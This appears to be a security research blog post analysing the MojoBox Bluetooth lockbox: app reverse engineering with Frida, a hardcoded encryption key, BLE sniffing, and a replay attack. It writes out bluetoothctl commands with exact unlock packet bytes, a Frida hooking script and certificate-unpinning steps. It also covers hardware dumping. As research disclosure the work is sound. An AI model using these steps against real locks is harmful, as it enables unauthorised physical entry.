{"id":573,"date":"2025-12-23T11:55:42","date_gmt":"2025-12-23T10:55:42","guid":{"rendered":"https:\/\/www.hardwaresecurity.it\/?p=573"},"modified":"2025-12-23T11:55:42","modified_gmt":"2025-12-23T10:55:42","slug":"mojobox-yet-another-not-so-smartlock","status":"publish","type":"post","link":"https:\/\/www.hardwaresecurity.it\/?p=573","title":{"rendered":"MojoBox: Yet-Another Not-So-SmartLock"},"content":{"rendered":"\n<p>Recently Luca came across <a href=\"https:\/\/www.mojolock.com\/\">MojoLock<\/a> which is a &#8220;<em>digital lockbox focused on smart access<\/em>&#8220;. On February 26 &nbsp;a vulnerability was reported by LockPickingLawyer showing how this lockbox could be easily opened with a slap! This vulnerability was promptly fixed by the company and a firmware upgrade was already available the day after the video was released.<\/p>\n\n\n\n<p>This whole situation alerted the spidey sense of Luca, who immediately obtained the device with the intention of performing further analysis. Before testing the hardware part, he passed it to me (Matteo) to investigate the attack surface related to the mobile application and the Bluetooth Low Energy functions.<\/p>\n\n\n\n<p>It turns out Luca&#8217;s senses were right, MojoBox is vulnerable to replay attack via BLE: this means we can sniff the BLE traffic, steal the packets information and replicate them to have access to the box. Moreover, the app suffers from issues like hardcoded credentials, unobfuscated code&nbsp; and others.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Intercepting BLE requests with Frida<\/strong><\/h3>\n\n\n\n<p><em>First step, I decided to use Frida to monitor the type of information that was being sent when the lockbox was opened through the Android app.<\/em><\/p>\n\n\n\n<p>To do this, I used <a href=\"https:\/\/github.com\/optiv\/blemon\">blemon<\/a>, a useful Frida script for hooking any overridden instance methods of the android.bluetooth.BluetoothGattCallback class.<\/p>\n\n\n\n<p>With the Frida server up and running on my rooted Android device, I just had to execute the following command:<\/p>\n\n\n\n<p><em>frida -U -l blemon.js &#8220;MojoLock&#8221;<\/em><\/p>\n\n\n\n<p>&nbsp;Upon clicking two times the &#8220;Open&#8221; button on the app, I obtained the following result:<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter\"><img loading=\"lazy\" decoding=\"async\" width=\"1920\" height=\"578\" title=\"MojoBox: Yet-Another Not-So-SmartLock\" src=\"https:\/\/www.hardwaresecurity.it\/wp-content\/uploads\/2025\/12\/5d8b23da-26f6-4461-97b5-f2707beec7e5.png\" alt=\"1png\" class=\"wp-image-576\" srcset=\"https:\/\/www.hardwaresecurity.it\/wp-content\/uploads\/2025\/12\/5d8b23da-26f6-4461-97b5-f2707beec7e5.png 1920w, https:\/\/www.hardwaresecurity.it\/wp-content\/uploads\/2025\/12\/5d8b23da-26f6-4461-97b5-f2707beec7e5-300x90.png 300w, https:\/\/www.hardwaresecurity.it\/wp-content\/uploads\/2025\/12\/5d8b23da-26f6-4461-97b5-f2707beec7e5-1024x308.png 1024w, https:\/\/www.hardwaresecurity.it\/wp-content\/uploads\/2025\/12\/5d8b23da-26f6-4461-97b5-f2707beec7e5-768x231.png 768w, https:\/\/www.hardwaresecurity.it\/wp-content\/uploads\/2025\/12\/5d8b23da-26f6-4461-97b5-f2707beec7e5-1536x462.png 1536w, https:\/\/www.hardwaresecurity.it\/wp-content\/uploads\/2025\/12\/5d8b23da-26f6-4461-97b5-f2707beec7e5-600x181.png 600w\" sizes=\"auto, (max-width: 1920px) 100vw, 1920px\" \/><\/figure>\n\n\n\n<p>At this point, it was clear that the exchanged packets were undergoing some type of encryption and most likely could not be reused (and I was wrong). This discovery prompted me to continue analyzing the APK in search of an encryption function to exploit.&nbsp;<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>APK static analysis<\/strong><\/h3>\n\n\n\n<p>For the static analysis part, I started by downloading the APK from my device using adb. It&#8217;s convenient to take note of the app package reference found in the Google Play Store URL to easily locate the APK in the phone&#8217;s file-system. Once the package name is found, you can simply execute the following commands to obtain the APK:<\/p>\n\n\n\n<p>adb shell pm path com.mojolock.app<\/p>\n\n\n\n<p>adb pull &lt;result_of_previous_command&gt;<\/p>\n\n\n\n<p>Once the APK is obtained, we decompile it as follows:<\/p>\n\n\n\n<p>apktool d mojolock.apk<\/p>\n\n\n\n<p>and begin inspecting the code using jadx-gui. The cool thing is that at this point we already know where to look, infact blemon told us that the BluetoothGattCallback was called from <em>com.reactlibraryzealinglock.controllers.ZealingController<\/em><\/p>\n\n\n\n<p>Another interesting fact is that the app is<strong> not obfuscated<\/strong>, therefore the code is really easy to read, infact we can see that <em>ZealingController<\/em> is using <em>com.reactlibraryzealinglock.controllers.utils.TeaUtil<\/em> as a utility class. This class contains the encryption key,<\/p>\n\n\n\n<p>private static final int[] KEY = {-2062458830, 1377052040, 910521121, -1792593385};<\/p>\n\n\n\n<p>the <em>openLock<\/em> and <em>encrypt<\/em> function. We have almost everything we need to build our own app to generate legit packets, know we only need the input of the <em>openLock<\/em> function.<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter\"><img loading=\"lazy\" decoding=\"async\" width=\"1132\" height=\"1200\" title=\"MojoBox: Yet-Another Not-So-SmartLock\" src=\"https:\/\/www.hardwaresecurity.it\/wp-content\/uploads\/2025\/12\/e4ceb541-7f4e-457b-88e9-6d10a7ef136a.png\" alt=\"2png\" class=\"wp-image-584\" srcset=\"https:\/\/www.hardwaresecurity.it\/wp-content\/uploads\/2025\/12\/e4ceb541-7f4e-457b-88e9-6d10a7ef136a.png 1132w, https:\/\/www.hardwaresecurity.it\/wp-content\/uploads\/2025\/12\/e4ceb541-7f4e-457b-88e9-6d10a7ef136a-283x300.png 283w, https:\/\/www.hardwaresecurity.it\/wp-content\/uploads\/2025\/12\/e4ceb541-7f4e-457b-88e9-6d10a7ef136a-966x1024.png 966w, https:\/\/www.hardwaresecurity.it\/wp-content\/uploads\/2025\/12\/e4ceb541-7f4e-457b-88e9-6d10a7ef136a-768x814.png 768w, https:\/\/www.hardwaresecurity.it\/wp-content\/uploads\/2025\/12\/e4ceb541-7f4e-457b-88e9-6d10a7ef136a-600x636.png 600w\" sizes=\"auto, (max-width: 1132px) 100vw, 1132px\" \/><\/figure>\n\n\n\n<p>For this task Frida will help us again, with the following script I could intercept the <em>openLock<\/em> inputs Java.perform(function() {<br>&nbsp; &nbsp; var TeaUtil = Java.use(&#8220;com.reactlibraryzealinglock.controllers.utils.TeaUtil&#8221;);<br>&nbsp; &nbsp; TeaUtil.openLock.implementation = function(str, z, str2, b) {<br>&nbsp; &nbsp; &nbsp; &nbsp; console.log(&#8220;openLock input: str=&#8221; + str + &#8220;, z=&#8221; + z + &#8220;, str2=&#8221; + str2 + &#8220;, b=&#8221; + b);<br>&nbsp; &nbsp; &nbsp; &nbsp; var result = this.openLock(str, z, str2, b);<br>&nbsp; &nbsp; &nbsp; &nbsp; return result;<br>&nbsp; &nbsp; }<br>});<br>obtaining the following result:<\/p>\n\n\n\n<p>openLock input: str=unknown_MAC_address_redacted, z=true, str2=1678565356261, b=1<\/p>\n\n\n\n<p>as we can see the <em>str<\/em> parameter is an (at the moment) unknown MAC address, <em>z<\/em> and <em>b<\/em> are fixed and <em>str2<\/em> is the current epoch time. <strong>Everything suggested that the package was indeed dependent on the epoch time and could not be reused at later points in time after the first use<\/strong> (wrong assumption again).<\/p>\n\n\n\n<p>At this point, I had everything I needed to reconstruct, through a Java app, encrypted packets that would send the signal to open the MojoBox. To do this, I reused all the code from the application and imported the same libraries used by the app into my new project. Except for the <em>android.text.format.Time<\/em> which was replaced by <em>java.time.LocalDateTime<\/em>, which required some minor modifications to the way information on the date was derived from the epoch time.<\/p>\n\n\n\n<p>The result seemed ok, but I needed some more understanding of how the packet needed to be sent to the MojoBox. It was time to dig deeper.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Sniffing BLE packets with nRF52840 dongle<\/strong>&nbsp;<\/h3>\n\n\n\n<p>At <a href=\"https:\/\/infocenter.nordicsemi.com\/index.jsp?topic=%2Fug_sniffer_ble%2FUG%2Fsniffer_ble%2Fintro.html\">this<\/a> link you can find all the information needed to install the nRF Sniffer software on the nRF52840 dongle. Once up and running, we can start seeing BLE packets going around in Wireshark.<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter\"><img loading=\"lazy\" decoding=\"async\" width=\"2448\" height=\"402\" title=\"MojoBox: Yet-Another Not-So-SmartLock\" src=\"https:\/\/www.hardwaresecurity.it\/wp-content\/uploads\/2025\/12\/d438efe3-2fec-442b-a306-200324bd0256.png\" alt=\"3png\" class=\"wp-image-579\" srcset=\"https:\/\/www.hardwaresecurity.it\/wp-content\/uploads\/2025\/12\/d438efe3-2fec-442b-a306-200324bd0256.png 2448w, https:\/\/www.hardwaresecurity.it\/wp-content\/uploads\/2025\/12\/d438efe3-2fec-442b-a306-200324bd0256-300x49.png 300w, https:\/\/www.hardwaresecurity.it\/wp-content\/uploads\/2025\/12\/d438efe3-2fec-442b-a306-200324bd0256-1024x168.png 1024w, https:\/\/www.hardwaresecurity.it\/wp-content\/uploads\/2025\/12\/d438efe3-2fec-442b-a306-200324bd0256-768x126.png 768w, https:\/\/www.hardwaresecurity.it\/wp-content\/uploads\/2025\/12\/d438efe3-2fec-442b-a306-200324bd0256-1536x252.png 1536w, https:\/\/www.hardwaresecurity.it\/wp-content\/uploads\/2025\/12\/d438efe3-2fec-442b-a306-200324bd0256-2048x336.png 2048w, https:\/\/www.hardwaresecurity.it\/wp-content\/uploads\/2025\/12\/d438efe3-2fec-442b-a306-200324bd0256-600x99.png 600w\" sizes=\"auto, (max-width: 2448px) 100vw, 2448px\" \/><\/figure>\n\n\n\n<p>These two great tools show us something really interesting: as we can see from the screenshot above, <strong>after all the GATT discovery process, the original app sends a <em>Write Request<\/em> on handle <em>0x0011<\/em> and only after that it sends a <em>Write Command<\/em> on handle <em>0x000e<\/em> containing the actual payload.<\/strong> We need to replicate this behavior to interact with the MojoBox.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Cracking Open the MojoBox over BLE<\/strong><\/h3>\n\n\n\n<p>&nbsp;For this step I used my RaspberryPi and <strong>bluetoothctl<\/strong> as a BLE client.<\/p>\n\n\n\n<p>bluetoothctl<\/p>\n\n\n\n<p>[bluetooth]# scan on<\/p>\n\n\n\n<p>[NEW] Device DF:10:10:02:35:16 MojoBox-023516<\/p>\n\n\n\n<p>[bluetooth]# scan off<\/p>\n\n\n\n<p>Discovery stopped<\/p>\n\n\n\n<p>[bluetooth]# connect DF:10:10:02:35:16<\/p>\n\n\n\n<p>&nbsp;at this point the tools gives us the list of characteristics but, from our previous investigations, we know that we are interested in just two of them:<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter\"><img loading=\"lazy\" decoding=\"async\" width=\"958\" height=\"280\" title=\"MojoBox: Yet-Another Not-So-SmartLock\" src=\"https:\/\/www.hardwaresecurity.it\/wp-content\/uploads\/2025\/12\/5b0a3225-4fb3-46ed-8926-c131153c6edb.png\" alt=\"4png\" class=\"wp-image-575\" srcset=\"https:\/\/www.hardwaresecurity.it\/wp-content\/uploads\/2025\/12\/5b0a3225-4fb3-46ed-8926-c131153c6edb.png 958w, https:\/\/www.hardwaresecurity.it\/wp-content\/uploads\/2025\/12\/5b0a3225-4fb3-46ed-8926-c131153c6edb-300x88.png 300w, https:\/\/www.hardwaresecurity.it\/wp-content\/uploads\/2025\/12\/5b0a3225-4fb3-46ed-8926-c131153c6edb-768x224.png 768w, https:\/\/www.hardwaresecurity.it\/wp-content\/uploads\/2025\/12\/5b0a3225-4fb3-46ed-8926-c131153c6edb-600x175.png 600w\" sizes=\"auto, (max-width: 958px) 100vw, 958px\" \/><\/figure>\n\n\n\n<p>As we have seen from wireshark we have to make a Write Request, in this case this means that we have to enable notifications on the characteristic ff02<\/p>\n\n\n\n<p>[MojoBox-023516]# gatt.select-attribute ff02<\/p>\n\n\n\n<p>[MojoBox-023516:\/service000c\/char000f]# gatt.notify on<\/p>\n\n\n\n<p>[CHG] Attribute \/org\/bluez\/hci0\/dev_DF_10_10_02_35_16\/service000c\/char000f Notifying: yes<\/p>\n\n\n\n<p>Notify started&nbsp;<\/p>\n\n\n\n<p>Now we generate a new valid encrypted packet with our Java application and send it to the MojoBox. Note that we have to split the command in two requests, the first one is 20 Bytes and the second one is 9Bytes.<\/p>\n\n\n\n<p>&nbsp;[MojoBox-023516:\/service000c\/char000d]# gatt.write &#8220;0x68 0x01 0x18 0x28 0xFC 0x08 0xE5 0xB9 0xDA 0xDB 0xCE 0x21 0x62 0x1B 0x2A 0xF9 0xBE 0xFB 0x1E 0xE9&#8221;<\/p>\n\n\n\n<p>Attempting to write \/org\/bluez\/hci0\/dev_DF_10_10_02_35_16\/service000c\/char000d<\/p>\n\n\n\n<p>[MojoBox-023516:\/service000c\/char000d]# gatt.write &#8220;0xA0 0x13 0xEE 0x11 0x94 0x31 0x7D 0xDB 0x16&#8221;<\/p>\n\n\n\n<p>Attempting to write \/org\/bluez\/hci0\/dev_DF_10_10_02_35_16\/service000c\/char000d&nbsp;<\/p>\n\n\n\n<p><strong>And voil\u00e0, the lock opens!<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter\"><img loading=\"lazy\" decoding=\"async\" width=\"848\" height=\"464\" title=\"MojoBox: Yet-Another Not-So-SmartLock\" src=\"https:\/\/www.hardwaresecurity.it\/wp-content\/uploads\/2025\/12\/fa22824e-4485-4616-8611-74349d2735b1.gif\" alt=\"opening_ble_videogif\" class=\"wp-image-592\"\/><\/figure>\n\n\n\n<p>That\u2019s not it! We can also send the same packet multiple times, <strong>confirming that MojoBox is vulnerable to replay attack. The oldest valid packet I tried is almost one week old and still does its job!<\/strong><\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Downloading MojoBox firmware for future analysis<\/strong><\/h3>\n\n\n\n<p>&nbsp;In the resources folder of the decompiled APK we can find the file <em>index.bundle.android<\/em>, a file generated by React Native, a framework for developing cross-platform mobile applications using JavaScript and React. This file contains the JavaScript source code of the mobile app along with the information for downloading the firmware file for the firmware upgrade of MojoBox.&nbsp;<\/p>\n\n\n\n<p>Specifically, we are interested in the following function:<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img loading=\"lazy\" decoding=\"async\" width=\"627\" height=\"559\" title=\"MojoBox: Yet-Another Not-So-SmartLock\" src=\"https:\/\/www.hardwaresecurity.it\/wp-content\/uploads\/2025\/12\/35adeaf0-3d45-45be-9770-7c36a4c1ca9c.png\" alt=\"6PNG\" class=\"wp-image-589\" srcset=\"https:\/\/www.hardwaresecurity.it\/wp-content\/uploads\/2025\/12\/35adeaf0-3d45-45be-9770-7c36a4c1ca9c.png 627w, https:\/\/www.hardwaresecurity.it\/wp-content\/uploads\/2025\/12\/35adeaf0-3d45-45be-9770-7c36a4c1ca9c-300x267.png 300w, https:\/\/www.hardwaresecurity.it\/wp-content\/uploads\/2025\/12\/35adeaf0-3d45-45be-9770-7c36a4c1ca9c-600x535.png 600w\" sizes=\"auto, (max-width: 627px) 100vw, 627px\" \/><\/figure>\n\n\n\n<p>We just need some values to download the firmware: <em>_user_email_<\/em> (the same we use for log in) and <em>_user_token_<\/em> &amp; <em>_user_token_<\/em> that we still have to find.<\/p>\n\n\n\n<p>Let&#8217;s bypass the certificate pinning with Frida and intercept some requests with BurpSuite to find the missing parameters. I used <a href=\"https:\/\/raw.githubusercontent.com\/httptoolkit\/frida-android-unpinning\/main\/frida-script.js\">this<\/a> Frida script for certificate unpinning.<\/p>\n\n\n\n<p>One of the first requests made by the app already gives us what we&#8217;re looking for:<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter\"><img loading=\"lazy\" decoding=\"async\" width=\"1430\" height=\"687\" title=\"MojoBox: Yet-Another Not-So-SmartLock\" src=\"https:\/\/www.hardwaresecurity.it\/wp-content\/uploads\/2025\/12\/38daf94c-9105-4eb2-815c-5f0f2a6a32a9.png\" alt=\"7png\" class=\"wp-image-588\" srcset=\"https:\/\/www.hardwaresecurity.it\/wp-content\/uploads\/2025\/12\/38daf94c-9105-4eb2-815c-5f0f2a6a32a9.png 1430w, https:\/\/www.hardwaresecurity.it\/wp-content\/uploads\/2025\/12\/38daf94c-9105-4eb2-815c-5f0f2a6a32a9-300x144.png 300w, https:\/\/www.hardwaresecurity.it\/wp-content\/uploads\/2025\/12\/38daf94c-9105-4eb2-815c-5f0f2a6a32a9-1024x492.png 1024w, https:\/\/www.hardwaresecurity.it\/wp-content\/uploads\/2025\/12\/38daf94c-9105-4eb2-815c-5f0f2a6a32a9-768x369.png 768w, https:\/\/www.hardwaresecurity.it\/wp-content\/uploads\/2025\/12\/38daf94c-9105-4eb2-815c-5f0f2a6a32a9-600x288.png 600w\" sizes=\"auto, (max-width: 1430px) 100vw, 1430px\" \/><\/figure>\n\n\n\n<p>With <strong><em>auid<\/em> being the unknown mac address<\/strong> we found as the input for the <em>openLock<\/em> function. <strong>This means that we cannot create new valid encrypted packets without knowing this information, which obviously will be different for every device.<\/strong><\/p>\n\n\n\n<p>At this point we can write a simple python script to download the firmware<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter\"><img loading=\"lazy\" decoding=\"async\" width=\"629\" height=\"163\" title=\"MojoBox: Yet-Another Not-So-SmartLock\" src=\"https:\/\/www.hardwaresecurity.it\/wp-content\/uploads\/2025\/12\/a367393c-86fd-4c24-a37e-b46d2423f413.png\" alt=\"8PNG\" class=\"wp-image-578\" srcset=\"https:\/\/www.hardwaresecurity.it\/wp-content\/uploads\/2025\/12\/a367393c-86fd-4c24-a37e-b46d2423f413.png 629w, https:\/\/www.hardwaresecurity.it\/wp-content\/uploads\/2025\/12\/a367393c-86fd-4c24-a37e-b46d2423f413-300x78.png 300w, https:\/\/www.hardwaresecurity.it\/wp-content\/uploads\/2025\/12\/a367393c-86fd-4c24-a37e-b46d2423f413-600x155.png 600w\" sizes=\"auto, (max-width: 629px) 100vw, 629px\" \/><\/figure>\n\n\n\n<p>From a first look at the firmware not much can be said, however finding strings like the one in the image below, which refers to a UART interface, bodes well for further hardware analysis.<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter\"><img loading=\"lazy\" decoding=\"async\" width=\"624\" height=\"232\" title=\"MojoBox: Yet-Another Not-So-SmartLock\" src=\"https:\/\/www.hardwaresecurity.it\/wp-content\/uploads\/2025\/12\/c0eaf6d3-7ef0-4d0a-9116-f0a1d7a2a10a.png\" alt=\"9png\" class=\"wp-image-582\" srcset=\"https:\/\/www.hardwaresecurity.it\/wp-content\/uploads\/2025\/12\/c0eaf6d3-7ef0-4d0a-9116-f0a1d7a2a10a.png 624w, https:\/\/www.hardwaresecurity.it\/wp-content\/uploads\/2025\/12\/c0eaf6d3-7ef0-4d0a-9116-f0a1d7a2a10a-300x112.png 300w, https:\/\/www.hardwaresecurity.it\/wp-content\/uploads\/2025\/12\/c0eaf6d3-7ef0-4d0a-9116-f0a1d7a2a10a-600x223.png 600w\" sizes=\"auto, (max-width: 624px) 100vw, 624px\" \/><\/figure>\n\n\n\n<p><strong>Future work:<\/strong> it would be interesting to further investigate the firmware especially to reverse engineer the decryption functions and to understand how the temporary codes (requested by the mobile app, generated by the server and accepted by MojoBox) are handled.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Bonus chapter \u2013 No need to sniff<\/strong><\/h3>\n\n\n\n<p>&nbsp;The mobile app contains multiple debugging messages as we can see from the image below<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter\"><img loading=\"lazy\" decoding=\"async\" width=\"1360\" height=\"526\" title=\"MojoBox: Yet-Another Not-So-SmartLock\" src=\"https:\/\/www.hardwaresecurity.it\/wp-content\/uploads\/2025\/12\/b36efa1c-96cb-4782-a7c8-d6987da7c6b6.png\" alt=\"10png\" class=\"wp-image-583\" srcset=\"https:\/\/www.hardwaresecurity.it\/wp-content\/uploads\/2025\/12\/b36efa1c-96cb-4782-a7c8-d6987da7c6b6.png 1360w, https:\/\/www.hardwaresecurity.it\/wp-content\/uploads\/2025\/12\/b36efa1c-96cb-4782-a7c8-d6987da7c6b6-300x116.png 300w, https:\/\/www.hardwaresecurity.it\/wp-content\/uploads\/2025\/12\/b36efa1c-96cb-4782-a7c8-d6987da7c6b6-1024x396.png 1024w, https:\/\/www.hardwaresecurity.it\/wp-content\/uploads\/2025\/12\/b36efa1c-96cb-4782-a7c8-d6987da7c6b6-768x297.png 768w, https:\/\/www.hardwaresecurity.it\/wp-content\/uploads\/2025\/12\/b36efa1c-96cb-4782-a7c8-d6987da7c6b6-600x232.png 600w\" sizes=\"auto, (max-width: 1360px) 100vw, 1360px\" \/><\/figure>\n\n\n\n<p>This means that if an attacker has physical access to the device where the app is installed, He\/She can access the app logs via adb without being root.<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter\"><img loading=\"lazy\" decoding=\"async\" width=\"1406\" height=\"454\" title=\"MojoBox: Yet-Another Not-So-SmartLock\" src=\"https:\/\/www.hardwaresecurity.it\/wp-content\/uploads\/2025\/12\/0550f0f5-495e-439b-aa5a-0cbdc3ade96d.png\" alt=\"11png\" class=\"wp-image-577\" srcset=\"https:\/\/www.hardwaresecurity.it\/wp-content\/uploads\/2025\/12\/0550f0f5-495e-439b-aa5a-0cbdc3ade96d.png 1406w, https:\/\/www.hardwaresecurity.it\/wp-content\/uploads\/2025\/12\/0550f0f5-495e-439b-aa5a-0cbdc3ade96d-300x97.png 300w, https:\/\/www.hardwaresecurity.it\/wp-content\/uploads\/2025\/12\/0550f0f5-495e-439b-aa5a-0cbdc3ade96d-1024x331.png 1024w, https:\/\/www.hardwaresecurity.it\/wp-content\/uploads\/2025\/12\/0550f0f5-495e-439b-aa5a-0cbdc3ade96d-768x248.png 768w, https:\/\/www.hardwaresecurity.it\/wp-content\/uploads\/2025\/12\/0550f0f5-495e-439b-aa5a-0cbdc3ade96d-600x194.png 600w\" sizes=\"auto, (max-width: 1406px) 100vw, 1406px\" \/><\/figure>\n\n\n\n<p>As we already know the data we read after \u201cWRITE SUCCESS\u201d can be used to open the MojoBox as many times as we want.<\/p>\n\n\n\n<p>Moreover, we could find username and password stored in an unencrypted Sqlite database, which is not a good idea.<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter\"><img loading=\"lazy\" decoding=\"async\" width=\"708\" height=\"450\" title=\"MojoBox: Yet-Another Not-So-SmartLock\" src=\"https:\/\/www.hardwaresecurity.it\/wp-content\/uploads\/2025\/12\/b3b32ef0-088e-4899-8424-2154b106420a.png\" alt=\"12png\" class=\"wp-image-580\" srcset=\"https:\/\/www.hardwaresecurity.it\/wp-content\/uploads\/2025\/12\/b3b32ef0-088e-4899-8424-2154b106420a.png 708w, https:\/\/www.hardwaresecurity.it\/wp-content\/uploads\/2025\/12\/b3b32ef0-088e-4899-8424-2154b106420a-300x191.png 300w, https:\/\/www.hardwaresecurity.it\/wp-content\/uploads\/2025\/12\/b3b32ef0-088e-4899-8424-2154b106420a-600x381.png 600w\" sizes=\"auto, (max-width: 708px) 100vw, 708px\" \/><\/figure>\n\n\n\n<p>As a final consideration, it seems that the <em>user_code<\/em> parameter, that we already saw being sent in a GET request while intercepting the requests with Burp, never changes and is the only parameter needed, along with the user email, to retrieve all users\u2019 information. Sending such a critical information about the user through GET request is obviously considered a bad practice.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Hardware Analysis<\/strong><\/h3>\n\n\n\n<p>To analyze the MojoBox hardware from a security perspective, we first conducted some passive recon to realize what kind of components we would need to interact with. The information from the <a href=\"https:\/\/fccid.io\/2A6Q8MOJOBOX\">FCC<\/a> database gave us an initial idea. We then opened the device and found the following chipset<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter\"><img loading=\"lazy\" decoding=\"async\" width=\"1440\" height=\"1080\" title=\"MojoBox: Yet-Another Not-So-SmartLock\" src=\"https:\/\/www.hardwaresecurity.it\/wp-content\/uploads\/2025\/12\/a8d8d2c3-112f-4aee-aecd-7b718f01f745.jpg\" alt=\"13jpg\" class=\"wp-image-590\" srcset=\"https:\/\/www.hardwaresecurity.it\/wp-content\/uploads\/2025\/12\/a8d8d2c3-112f-4aee-aecd-7b718f01f745.jpg 1440w, https:\/\/www.hardwaresecurity.it\/wp-content\/uploads\/2025\/12\/a8d8d2c3-112f-4aee-aecd-7b718f01f745-300x225.jpg 300w, https:\/\/www.hardwaresecurity.it\/wp-content\/uploads\/2025\/12\/a8d8d2c3-112f-4aee-aecd-7b718f01f745-1024x768.jpg 1024w, https:\/\/www.hardwaresecurity.it\/wp-content\/uploads\/2025\/12\/a8d8d2c3-112f-4aee-aecd-7b718f01f745-768x576.jpg 768w, https:\/\/www.hardwaresecurity.it\/wp-content\/uploads\/2025\/12\/a8d8d2c3-112f-4aee-aecd-7b718f01f745-600x450.jpg 600w\" sizes=\"auto, (max-width: 1440px) 100vw, 1440px\" \/><\/figure>\n\n\n\n<p>It is from a company called Pixart and not very common. We found a similar one here <a href=\"https:\/\/www.pixart.com\/products-detail\/87\/PAR2801QN-GHVC\">https:\/\/www.pixart.com\/products-detail\/87\/PAR2801QN-GHVC<\/a> . As we can see from the table on this tech brochure, &nbsp;the MCU can handle many peripherals interfaces:<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter\"><img loading=\"lazy\" decoding=\"async\" width=\"624\" height=\"58\" title=\"MojoBox: Yet-Another Not-So-SmartLock\" src=\"https:\/\/www.hardwaresecurity.it\/wp-content\/uploads\/2025\/12\/6137d7f5-51e9-41d1-910d-df92b0c07c0f.png\" alt=\"14png\" class=\"wp-image-581\" srcset=\"https:\/\/www.hardwaresecurity.it\/wp-content\/uploads\/2025\/12\/6137d7f5-51e9-41d1-910d-df92b0c07c0f.png 624w, https:\/\/www.hardwaresecurity.it\/wp-content\/uploads\/2025\/12\/6137d7f5-51e9-41d1-910d-df92b0c07c0f-300x28.png 300w, https:\/\/www.hardwaresecurity.it\/wp-content\/uploads\/2025\/12\/6137d7f5-51e9-41d1-910d-df92b0c07c0f-600x56.png 600w\" sizes=\"auto, (max-width: 624px) 100vw, 624px\" \/><\/figure>\n\n\n\n<p>So we connected to the UART interface that we found on the PCB and then tried to intercept traffic using a Logic Analyzer.<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter\"><img loading=\"lazy\" decoding=\"async\" width=\"1234\" height=\"467\" title=\"MojoBox: Yet-Another Not-So-SmartLock\" src=\"https:\/\/www.hardwaresecurity.it\/wp-content\/uploads\/2025\/12\/901ce1d3-83d8-4901-b530-b8f2467d6279.png\" alt=\"15PNG\" class=\"wp-image-585\" srcset=\"https:\/\/www.hardwaresecurity.it\/wp-content\/uploads\/2025\/12\/901ce1d3-83d8-4901-b530-b8f2467d6279.png 1234w, https:\/\/www.hardwaresecurity.it\/wp-content\/uploads\/2025\/12\/901ce1d3-83d8-4901-b530-b8f2467d6279-300x114.png 300w, https:\/\/www.hardwaresecurity.it\/wp-content\/uploads\/2025\/12\/901ce1d3-83d8-4901-b530-b8f2467d6279-1024x388.png 1024w, https:\/\/www.hardwaresecurity.it\/wp-content\/uploads\/2025\/12\/901ce1d3-83d8-4901-b530-b8f2467d6279-768x291.png 768w, https:\/\/www.hardwaresecurity.it\/wp-content\/uploads\/2025\/12\/901ce1d3-83d8-4901-b530-b8f2467d6279-600x227.png 600w\" sizes=\"auto, (max-width: 1234px) 100vw, 1234px\" \/><\/figure>\n\n\n\n<p>Turning off and on the and interacting with the device through the mobile app did not trigger the output of meaningful information as shown in the image below<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter\"><img loading=\"lazy\" decoding=\"async\" width=\"624\" height=\"258\" title=\"MojoBox: Yet-Another Not-So-SmartLock\" src=\"https:\/\/www.hardwaresecurity.it\/wp-content\/uploads\/2025\/12\/07519331-8e04-4ca8-89f3-d21951f39d99.png\" alt=\"16png\" class=\"wp-image-587\" srcset=\"https:\/\/www.hardwaresecurity.it\/wp-content\/uploads\/2025\/12\/07519331-8e04-4ca8-89f3-d21951f39d99.png 624w, https:\/\/www.hardwaresecurity.it\/wp-content\/uploads\/2025\/12\/07519331-8e04-4ca8-89f3-d21951f39d99-300x124.png 300w, https:\/\/www.hardwaresecurity.it\/wp-content\/uploads\/2025\/12\/07519331-8e04-4ca8-89f3-d21951f39d99-600x248.png 600w\" sizes=\"auto, (max-width: 624px) 100vw, 624px\" \/><\/figure>\n\n\n\n<p>At this point we started to analyze the EEPROM which uses the I2C protocol to communicate with the CPU. We unsoldered it from the PCB and used a CH341A chip to analyze its content.<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter\"><img decoding=\"async\" title=\"MojoBox: Yet-Another Not-So-SmartLock\" src=\"https:\/\/files.gandi.ws\/20\/27\/20275f0e-d660-4daf-97a7-24e8bb17ee7f.gif\" alt=\"EEPROM_dissolderinggif\"\/><\/figure>\n\n\n\n<p>Inside this memory flash we found what appears to be an access list with our pincode and all the temporary pincodes we used. Having this information in plain text is definitely not a best practice, however considering the difficulty to access the I2C flash (i.e. first need to open the lock and then unscrew the PCB from the case), it can be rated as a minor issue.<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter\"><img loading=\"lazy\" decoding=\"async\" width=\"468\" height=\"311\" title=\"MojoBox: Yet-Another Not-So-SmartLock\" src=\"https:\/\/www.hardwaresecurity.it\/wp-content\/uploads\/2025\/12\/624ed246-9abc-49c0-9d86-a892ffb2cd95.jpg\" alt=\"17jpg\" class=\"wp-image-586\" srcset=\"https:\/\/www.hardwaresecurity.it\/wp-content\/uploads\/2025\/12\/624ed246-9abc-49c0-9d86-a892ffb2cd95.jpg 468w, https:\/\/www.hardwaresecurity.it\/wp-content\/uploads\/2025\/12\/624ed246-9abc-49c0-9d86-a892ffb2cd95-300x199.jpg 300w\" sizes=\"auto, (max-width: 468px) 100vw, 468px\" \/><\/figure>\n\n\n\n<h3 